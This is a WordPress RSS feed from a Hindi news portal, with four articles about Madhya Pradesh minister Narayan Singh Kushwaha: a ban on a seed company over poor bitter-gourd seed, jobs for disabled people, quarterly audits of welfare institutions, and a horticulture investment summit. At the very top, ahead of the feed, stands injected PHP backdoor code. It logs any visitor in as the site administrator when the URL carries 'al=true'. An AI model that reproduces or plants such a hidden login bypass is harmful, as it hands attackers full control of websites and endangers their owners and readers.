// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Narayan Singh Kushwaha – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 17 Apr 2026 14:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अभियान चलाकर करें खाद-बीज विक्रय करने वाली संस्थाओं की जांच : मंत्री कुशवाह https://pratyushaashakinayikiran.com/?p=212873 Fri, 17 Apr 2026 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=212873 अभियान चलाकर करें खाद-बीज विक्रय करने वाली संस्थाओं की जांच : मंत्री कुशवाह

निम्न गुणवत्ता का बीज उपलब्ध कराने वाली हैदराबाद की कंपनी को किया प्रतिबंधित
कंपनी के विरूद्ध अपराधिक प्रकरण हुआ दर्ज

भोपाल 

उद्यानिकी एवं खाद्य प्रसंस्करण मंत्री नारायन सिंह कुशवाह ने विशेष अभियान चलाकर प्रदेश में खाद-बीज ‍विक्रय करने वाले संस्थाओं और दुकानों की जांच करने के निर्देश दिये है। उन्होंने बताया कि धार और खरगौन जिले में किसानों को करेला (सब्जी) का निम्न गुणवत्ता का बीज प्रदाय करने से किसानों की फसल को काफी नुकसान हुआ है। इसके परिणामस्वरूप निम्न गुणवत्ता का बीज उपलब्ध कराने वाली कंपनी नुन्हेम्स इंडिया प्रायवेट लिमिटेड हैदराबाद (तेलंगाना) को प्रतिबंधित कर कंपनी के विरूद्ध आपराधिक दर्ज कराया गया है।

मंत्री कुशवाह ने कहा  कि किसानों को उद्यानिकी फसलों का उत्तम गुणवत्ता का बीज उपलब्ध करना राज्य सरकार की प्राथमिकता है। उन्होंने निर्देश दिये है कि सभी जिलों में खाद-बीज विक्रय करने वाली संस्थाओं की जांच अभियान चलाकर की जाये। इसके लिये भोपाल स्थित संचालनालय के वरिष्ठ अधिकारी भी जिलों का भ्रमण कर  संस्थाओं का आकस्मिक निरीक्षण करें।

मंत्री कुशवाह ने बताया कि तेलगांना राज्य की कंपनी नुन्हेम्स इंडिया प्रा. लि. हैदराबाद द्वारा धार जिले के विकासखंड धरमपुरी, उमरबन, मनावर, डही, कुक्षी एवं निसरपुर तथा खरगौन जिले के महेश्वर, बड़वाह एवं कसरावद विकासखंड के किसानों को करेले की रोबस्टा किस्म की बीज विक्रय किये गये थे। किसानों द्वारा धार जिले में 84 हैक्टेयर तथा खरगौन जिले में 110 हैक्टेयर क्षेत्र में करेले की फसल लगाई गई थी। लेकिन फसल रोपने के  80 से 90 दिन के बाद भी करेले की फसल निम्न गुणवत्ता के साथ पौधो पर आई जो जिसके फल पीले पढ़कर स्वयं ही बेल से टुटकर गिर रहे थे। किसानों की शिकायत पर कलेक्टर धार और खरगौन द्वारा संयुक्त दल गठित कर प्रक्षेत्र की फसलों की जांच कराई गई। जो प्रथम दृष्टया सही पाये जाने पर आवश्यक वस्तु 1955 की धारा 3, बीज अधिनियम 1966, बीज नियंत्रण 1983 के प्रावधानों का उलंघन पाये जाने पर मेसर्स नुन्हेम्स इंडिया प्रा. लि. हैदराबाद (तेलंगाना) द्वारा उत्पादित करेला फसल की निम्न गुणवत्ता की रोबस्टा किस्म को आगामी आदेश तक धार और खरगौन जिले में विक्रय, भंडारण परिवहन को प्रतिबंधित किया गया है। साथ ही धार जिले में कंपनी के विरूद्ध आपराधिक प्रकरण भी दर्ज कराया गया है।   

 

]]> दिव्यांगजनों को रोजगार मूलक गतिविधियों से जोड़ने विशेष प्रयास होंगे-मंत्री कुशवाह https://pratyushaashakinayikiran.com/?p=65709 Tue, 03 Sep 2024 19:08:00 +0000 https://pratyushaashakinayikiran.com/?p=65709 भोपाल

सामाजिक न्याय एवं दिव्यांगजन कल्यान मंत्री नारायण सिंह कुशवाह ने कहा है कि दिव्यांग जनों को रोजगार से जोड़ा जाएगा। सभी जिला कलेक्टर को जिला कार्यालयों में कैंटीन, फोटोकॉपियर टाइपिंग सेंटर जैसी रोजगार गतिविधियों में दिव्यांगजन को प्राथमिकता दिए जाने के निर्देश दिए गए हैं। उन्होंने कहा कि यह गतिविधियां दिव्यांगजनों को समूह के रूप में भी प्रदान की जा सकती हैं। साथ ही बैंकों के माध्यम से रोजगार के लिए ऋण भी उपलब्ध कराए जाएंगे। मंत्री कुशवाह ने कहा कि राज्य शासन विकलांगों के पुनर्वास कार्यक्रम को प्राथमिकता के साथ कर रहा है।

मंत्री कुशवाह ने कहा कि राज्य सरकार दिव्यांगजनों के सशक्तिकरण और उन्हें रोजगार के अवसर प्रदान करने के लिए विभिन्न योजनाएं और कार्यक्रम चला रही है। इसमें आरक्षण और रोजगार मेला दिव्यांगजनों के लिए सरकारी नौकरियों में आरक्षण का प्रावधान है। साथ ही रोजगार मेलों का आयोजन किया जाता है, जहां उन्हें निजी क्षेत्र की नौकरियों में भी अवसर मिलते हैं। दिव्यांगजनों को सक्षम बनाने के लिए विशेष कौशल विकास कार्यक्रम चलाए जा रहे हैं, जिससे वे आत्म-निर्भर बन सकें। इनमें विभिन्न प्रकार के तकनीकी और गैर-तकनीकी प्रशिक्षण शामिल हैं।

मंत्री कुशवाह ने कहा कि जिन दिव्यांग भाइयों की आर्थिक स्थिति कमजोर है, उनके लिये राज्य सरकार द्वारा वित्तीय सहायता और ऋण योजनाएं शुरू की गई हैं, जिससे वे अपना व्यवसाय शुरू कर सकें। समावेशी शिक्षा और प्रशिक्षण संस्थान राज्य में समावेशी शिक्षा और प्रशिक्षण के लिए विशेष संस्थान भी स्थापित किए जा रहे हैं जो दिव्यांगजनों को शिक्षा और प्रशिक्षण में मदद करते हैं। इन सभी कदमों का उद्देश्य दिव्यांगजनों को आर्थिक रूप से आत्मनिर्भर बनाना और उनके जीवन की गुणवत्ता में सुधार करना है। सरकार निरंतर इन क्षेत्रों में सुधार लाने के लिए काम कर रही है और दिव्यांगजनों को समाज की मुख्यधारा से जोड़ने के लिए प्रतिबद्ध है।

 

]]> समाज कल्याण के क्षेत्र में संचालित अनुदान प्राप्त संस्थाओं की होगी Audited : मंत्री कुशवाह https://pratyushaashakinayikiran.com/?p=59096 Sat, 10 Aug 2024 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=59096 भोपाल

सामाजिक न्याय दिव्यंजन सशक्तिकरण मंत्री नारायण सिंह कुशवाह ने कहा कि प्रदेश में दिव्यंजन कल्याण, नशा मुक्ति तथा वरिष्ठजनों के लिए संचालित आश्रमों व संस्थाओं की गुणवत्ता की ऑडिट करायी जा रही है। निरीक्षण ऑडिट रिर्पोट के आधार पर ही भविष्य में अनुदान ओर अन्य सुविधाएं उपलब्ध कराई जाएगी। यह ऑडिट रिपोर्ट प्रत्येक तिमाही में तैयार कराई जाएगी। कुशवाह ने ऑडिट के सभी बिंदुओं पर प्राप्त रिपोर्ट का विस्तृत एनालिसिस के निर्देश अधिकारियों को दिए हैं।

मंत्री कुशवाह ने कहा है कि भारत सरकार और राज्य सरकार सामाजिक न्याय और दिव्यांगजन सशक्तिकरण के क्षेत्र में संचालित विभिन्न शासकीय और अशासकीय संस्थाओं को आर्थिक और तकनीकी सहयोग प्रदान करती है। उन्होंने कहा कि इन संस्थाओं पर गुणवत्ता नियंत्रण राज्य शासन की जिम्मेदारी है। सामाजिक न्याय विभाग द्वारा संस्थानों की गुणवत्ता ऑडिट करने का निर्णय लिया गया है।

आयुक्त सामाजिक न्याय एवं दिव्यंगिता सशक्तिकरण डॉ. आर आर भोसले ने बताया कि प्रदेश में दिव्यांगजन सशक्तिकरण के क्षेत्र में 36 राज्य सरकार से अनुदान प्राप्त संस्थाओं तथा 54 केंद्रीय और जिला निराश्रित नीति से अनुदान प्राप्त संस्थाओं की गुणवत्ता ऑडिट कराई जा रही है इसी प्रकार वरिष्ठजनों के लिए संचालित 79 अशासकीय की संस्थाओं तथा नशामुक्ति अभियान के अंतर्गत संचालित केंद्रीय अनुदान प्राप्त अशासकीय 13 नशामुक्ति सह पुनर्वास केंद्र, सात आउट रीच एंड ड्राप इन सेंटर, तीन कम्यूनिटी बेस्ड पियरलेड सेंटर का भी ऑडिट कराया जा रहा है। ऑडिट के लिए गठित टीम का दायित्व है कि वह सभी केंद्रों पर साफ़ सफाई, भोजन व्यवस्था, स्वास्थ्य सुविधाओं, सुरक्षा, फर्नीचर ओर अन्य सामग्री की गुणवत्ता, मनोरंजन, खेलकूद सुविधाओं, ओर ऑफिस रिकॉर्ड की जानकारी प्राप्त की करेंगी। इसके आधार पर संस्थाओं की ग्रेडिंग की जाएगी। अब यह ऑडिट प्रत्येक तिमाही में की जाएगी, उन्होंने बताया कि 50 प्रतिशत से कम अंक पाने वाली संसथाओ के विरुद्ध एक्ट के प्रावधानों के तहत कर्रवाई की जायगी।

 

]]> उद्यानिकी और खाद्य प्र-संस्करण क्षेत्र में निवेश का प्रदेश में बेहतर माहौल : मंत्री श्री कुशवाह https://pratyushaashakinayikiran.com/?p=46164 Fri, 28 Jun 2024 22:15:00 +0000 https://pratyushaashakinayikiran.com/?p=46164 भोपाल
उद्यानिकी और खाद्य प्रसंस्करण के क्षेत्र में निवेशकों के लिए मध्यप्रदेश के द्वार सदैव खुले हैं। प्रदेश में निवेश के बेहतर माहौल और भौगोलिक परिस्थितियों का लाभ उद्यमी उठा सकते हैं। यह बात उद्यानिकी और खाद्य प्रसंस्करण मंत्री श्री नारायण सिंह कुशवाह ने भोपाल में आयोजित खाद्य प्रसंस्करण और कृषि व्यवसाय शिखर सम्मेलन के शुभारंभ अवसर पर कही।

मंत्री श्री कुशवाह ने कहा कि मध्यप्रदेश में 27 लाख हेक्टेयर क्षेत्र में 400 लाख मीट्रिक टन उद्यानिकी फसलों का उत्पादन होता है। देश में मध्यप्रदेश उद्यानिकी उत्पादन में 11 प्रतिशत, कृषि उत्पादन में 10 प्रतिशत तथा दुग्ध उत्पादन में 9 प्रतिशत उल्लेखनीय भागीदारी दर्ज करता है। मध्यप्रदेश देश में टमाटर उत्पादन में प्रथम तथा मिर्च, प्याज के उत्पादन में द्वितीय स्थान रखता है। उन्होंने कहा कि विश्व बाजार में प्राकृतिक एवं जैविक उत्पादों की अत्यधिक मांग है।

देश में कुल जैविक उत्पादन में मध्यप्रदेश की 40 प्रतिशत हिस्सेदारी है। इससे स्पष्ट है कि मध्यप्रदेश उद्यानिकी फसलों के उत्पादन में महत्वपूर्ण भागीदारी रखता है। मंत्री श्री कुशवाह ने सम्मेलन में भाग ले रहे व्यवसायियों से अपील की कि वह प्रदेश में उद्यानिकी फसलों पर आधारित व्यवसायिक गतिविधियों में निवेश करें। राज्य सरकार उनकी भरपूर मदद करेगी। मंत्री श्री कुशवाह ने कहा कि मध्यप्रदेश में विगत वर्षों में खाद्य प्र-संस्करण के क्षेत्र में छोटी-बड़ी 2400 इकाईयों को राज्य सरकार द्वारा 214 करोड़ की अनुदान सहायता दी गई है।

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